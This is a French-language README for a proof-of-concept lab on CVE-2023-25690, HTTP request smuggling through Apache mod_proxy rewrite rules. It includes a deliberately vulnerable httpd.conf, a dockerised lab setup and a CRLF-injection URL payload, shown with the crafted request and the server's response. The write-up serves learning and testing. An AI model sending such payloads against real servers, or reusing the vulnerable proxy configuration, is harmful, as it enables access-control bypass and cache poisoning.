dhmosfunk/cve-2023-25690-pocCVE 2023 25690 Preuve de concept - configuration vulnérable de mod_proxy sur les versions 2.4.0 - 2.4.55 du serveur HTTP Apache conduit à une vulnérabilité de HTTP Request Smuggling.
Publié le 7 mars 2023
| Score de base | Confidentialité | Impact sur l'intégrité | Impact sur la disponibilité |
|---|---|---|---|
| 9.8 | Élevé | Élevé | Élevé |
Certaines configurations mod_proxy sur les versions 2.4.0 à 2.4.55 du serveur HTTP Apache permettent une attaque de smuggling de requête HTTP. Les configurations sont affectées lorsque mod_proxy est activé avec une forme de RewriteRule ou ProxyPassMatch dans laquelle un motif non spécifique correspond à une partie des données de la cible de requête (URL) fournies par l'utilisateur, puis est réinséré dans la cible de requête proxyfiée à l'aide d'une substitution de variable. Par exemple, quelque chose comme :
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Le splitting/smuggling de requête pourrait entraîner un contournement des contrôles d'accès dans le serveur proxy, le proxy vers des URL non intentionnelles vers des serveurs d'origine existants, et un empoisonnement du cache. Il est recommandé aux utilisateurs de mettre à jour au moins vers la version 2.4.56 du serveur HTTP Apache.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Avec RewriteEngine on inclus dans la configuration Apache, le moteur de réécriture d'URL est activé. La réécriture d'URL est une technique qui permet aux serveurs web de modifier dynamiquement les URL demandées par le navigateur d'un client vers une URL différente avant de servir le contenu.
Par exemple, supposons que nous ayons la structure d'URL suivante pour une boutique en ligne :
https://example-shop.com/categories/1
En supposant la directive RewriteRule suivante dans un fichier de configuration Apache :
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Lorsqu'un utilisateur demande l'URL https://example-shop.com/categories/1, la RewriteRule correspond à l'URL et capture la valeur 1 en utilisant l'expression régulière ^/categories/(.*). La règle réécrit ensuite l'URL en http://example-shop.com:8080/categories?id=1 en ajoutant la valeur capturée à l'URL réécrite en tant que paramètre de requête id.
Étant donné que le drapeau [P] existe dans la règle, Apache traitera l'URL réécrite comme une requête proxy et la transmettra au serveur cible à http://example-shop.com:8080/categories avec le paramètre de requête id défini sur 1. Le serveur cible traitera alors la requête et renverra la réponse à Apache, qui la transmettra au client.
En résumé, la directive RewriteRule avec le drapeau [P] est utilisée pour réécrire les URL et les proxyfier vers un serveur différent. Dans ce cas, la règle correspond aux URL commençant par /categories/ et ajoute la valeur capturée en tant que paramètre de requête id à l'URL réécrite. Apache transmet ensuite la requête au serveur cible, qui traite la requête et renvoie la réponse.
Enfin, concernant ProxyPassReverse /categories/ http://example-shop.com:8080/, cette ligne remplace simplement le domaine et le chemin du serveur backend par le domaine et le chemin du serveur proxy, afin que le client puisse correctement suivre les liens et accéder au contenu du serveur backend proxyfié comme s'il était servi directement par le serveur proxy.
Pour simuler la vulnérabilité dans Apache, nous utiliserons la version httpd 2.4.55. De plus, l'ensemble du laboratoire sera dockerisé pour une meilleure facilité de configuration et de reproductibilité.
La structure des fichiers du laboratoire sera la suivante :
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
La configuration finale de httpd.conf est structurée comme ci-dessous :
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Charger les modules nécessaires
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Utilisez la commande docker-compose.exe up --build pour démarrer le laboratoire.
Dans cette section, j'expliquerai comment une injection CRLF peut conduire à un smuggling interne de requête HTTP, permettant à un attaquant d'obtenir un accès non autorisé à des ressources internes qui seraient autrement inaccessibles.
Selon la description de l'avis, httpd <=2.4.55 est vulnérable au splitting de réponse HTTP, également connu sous le nom d'injection CRLF.
L'injection CRLF se produit lorsque :
Ce qui, dans notre cas, peut être confirmé en passant le préfixe CRLF suivant dans l'URL :
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
En ajoutant le préfixe ci-dessus à l'URL, la requête finale résultante sera la suivante :
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Suite à la requête, le serveur traitera les données et renverra un code de réponse 200 indiquant une vulnérabilité à l'injection CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Plus d'informations concernant le splitting de requête HTTP peuvent être trouvées ici : https://owasp.org/www-community/attacks/HTTP_Response_Splitting